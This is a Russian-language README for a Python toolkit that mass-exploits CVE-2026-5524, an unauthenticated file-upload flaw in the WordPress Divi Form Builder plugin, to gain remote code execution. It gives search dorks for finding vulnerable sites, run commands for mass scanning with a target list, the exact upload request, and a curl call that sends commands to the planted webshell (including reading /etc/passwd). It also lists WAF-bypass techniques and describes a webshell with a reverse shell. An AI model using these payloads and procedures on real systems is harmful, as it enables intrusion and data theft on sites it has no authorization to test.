
Python-тулкит для массовой эксплуатации CVE-2026-5524 — неаутентифицированной RCE через загрузку файлов в плагине WordPress Divi Form Builder, с загрузкой веб-шелла и выполнением команд.
Массовый эксплойт-тулкит для CVE-2026-5524 — уязвимости неаутентифицированной загрузки произвольных файлов в WordPress-плагине Divi Form Builder <= 5.1.8, приводящей к удалённому выполнению кода.
| Поле | Значение |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Критический) |
| Вектор | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронуто | Divi Form Builder <= 5.1.8 |
| Исправлено | 5.1.9 |
| Тип | Неаутентифицированная загрузка файлов с переходом в RCE |
| Исследователь | 0xd4rk5id3 - EnvoraSec |
Плагин Divi Form Builder для WordPress содержит уязвимость неаутентифицированной загрузки произвольных файлов. Обработчик do_image_upload() передаёт контролируемый пользователем POST-параметр acceptFileTypes напрямую в регулярное выражение, используемое для проверки расширений файлов. Указав значение вроде phtml, атакующий может обойти правило .htaccess плагина, которое блокирует только расширение .php, и загрузить веб-шелл с расширением, исполняемым PHP (.phtml, .phar, .php5, .php7 и аналогичные).
После того как файл оказывается в /wp-content/uploads/de_fb_uploads/, Apache исполняет его как PHP, предоставляя атакующему удалённое выполнение кода от имени пользователя веб-сервера.
Проблема исправлена в Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Требования: Python 3.8 или новее на Linux, macOS или WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Для целей за WAF (NinjaFirewall, Wordfence, ModSecurity) или с усиленной конфигурацией Apache или nginx.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
После успешной загрузки скрипт может немедленно выполнить команду или перейти в интерактивную оболочку.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
Уязвимый обработчик строит регулярное выражение из пользовательского ввода без санитизации.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Отправив acceptFileTypes=phtml, получаем регулярное выражение /\.(phtml)$/i, которое соответствует именам файлов, оканчивающимся на .phtml, хотя собственный файл .htaccess плагина блокирует только расширение .php. Затем Apache исполняет загруженный файл как PHP, что приводит к удалённому выполнению кода.
Обойти страницу, содержащую форму Divi Form Builder (/, /contact, /quote и т. д.). Добавить параметр ?nocache=<random>, чтобы обойти Varnish, WP Rocket и другие кэши страниц, которые иначе отдали бы устаревший nonce.
Извлечь значение fb_nonce из локализованного JavaScript-объекта:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
Отправить POST-запрос multipart-формы на /wp-admin/admin-ajax.php с:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Прочитать URL файла из JSON-ответа:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Запросить шелл с командой в base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
Скрипт пробует каждую технику в порядке приоритета и, когда установлен --aggressive, пытается применить каждую, даже если первая загрузка сообщила об успехе.
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
Этот инструмент предоставлен в образовательных целях и для использования в рамках авторизованных тестирований на проникновение. Примеры допустимого использования включают:
Неавторизованное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, незаконно практически в любой юрисдикции и строго запрещено. Автор не одобряет и не несёт ответственности за неправомерное использование этого кода.
J'ai la permission et je suis autorisé à effectuer ce pentest. (У меня есть разрешение, и я уполномочен выполнять этот пентест.)
К вероятно применимым законам относятся индонезийский UU ITE, Закон США о компьютерном мошенничестве и злоупотреблениях, Конвенция Европейского союза о киберпреступности и аналогичное законодательство в других странах. В случае сомнений сначала получите письменное разрешение.
Только для образовательного использования. Полные условия использования см. в разделе об отказе от ответственности.
| Флаг | Описание |
|---|
-u URL | URL одиночной цели |
-l FILE | Файл со списком целей, по одному URL на строку |
-t N | Количество параллельных потоков (по умолчанию 10) |
--timeout N | Таймаут запроса в секундах (по умолчанию 15) |
-o FILE | Сохранить результаты в выходной файл JSONL |
--proxy URL | Направлять трафик через HTTP-прокси |
--nonce HASH | Использовать вручную указанный nonce, пропустить автоопределение |
--ext EXT | Принудительно использовать одно расширение вместо полного списка обхода |
--shell | Перейти в интерактивную RCE-оболочку при успехе (только для одиночной цели) |
--cmd CMD | Выполнить одну команду на цели и выйти |
--shell-file FILE | Загрузить пользовательский шелл-пейлоад вместо встроенного |
--no-verify | Пропустить этап проверки RCE после загрузки |
--strict-verify | Подтвердить, что URL шелла возвращает HTTP 200, для фильтрации ложных срабатываний |
--user-ini | Загрузить дроппер .user.ini для окружений PHP-FPM |
--htaccess | Загрузить повторно включающий .htaccess для окружений Apache |
--aggressive | Включить все доступные техники обхода |
--null-byte | Включить попытки с нулевым байтом и двойным расширением |
--path-traversal | Попытаться загрузить в подкаталоги /uploads/YYYY/MM/ |
--debug | Выводить необработанные HTTP-ответы для диагностики |
| # | Техника | Цели |
|---|
| 1 | Альтернативные расширения PHP .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Правило .htaccess плагина, блокирующее только .php |
| 2 | Вариации регистра .PHTML, .PHP5, .PhTmL | Регистрозависимые сигнатуры WAF (NinjaFirewall) |
| 3 | Двойное расширение .phtml.jpg, .php.jpg | Особенности согласования содержимого Apache mod_mime |
| 4 | Нулевой байт .php%00.jpg, .phtml%00.txt | Старые версии PHP (ниже 5.3.4) и некоторые парсеры |
| 5 | Завершающий пробел или точка .php , .php. | Windows IIS и старые версии Apache |
| 6 | Подмена Content-Type application/octet-stream | WAF, ориентированные на заголовок Content-Type multipart |
| 7 | Загрузка настоящего .htaccess, повторно включающего PHP для .gif, .png, .jpg, .txt, .html и т. д. | Apache-серверы с AllowOverride All |
| 8 | Загрузка .user.ini с auto_prepend_file | Окружения PHP-FPM |
| 9 | Инъекция имени файла через манипуляцию границей multipart | Прокси и WAF, повторно разбирающие тело запроса |
| 10 | Обход пути ../shell.phtml в имени файла | Ограничения каталога плагина |
| Компонент | Технология |
|---|
| Язык | Python 3.8+ |
| HTTP-клиент | requests |
| Обработка TLS | urllib3 в небезопасном режиме для самоподписанных сертификатов |
| Параллелизм | concurrent.futures.ThreadPoolExecutor для массового сканирования |
| Парсинг | re для извлечения nonce, json для обработки ответов |
| Кодирование | base64 для параметра команды веб-шелла |
| CLI | argparse с 19 настраиваемыми флагами |
| Компонент | Технология |
|---|
| Язык | PHP 7.0+ |
| Функции выполнения | system(), shell_exec(), proc_open(), passthru(), popen() |
| Интерфейс | Простая HTML-форма, без JavaScript-фреймворка |
| Возможности | Файловый браузер, выполнение команд, доступ к базе данных, обратная оболочка, самоустанавливающиеся .htaccess и .user.ini |
| Размер | Приблизительно 16 КБ |
| Уровни обхода | Шесть независимых путей выполнения плюс закодированные пейлоады |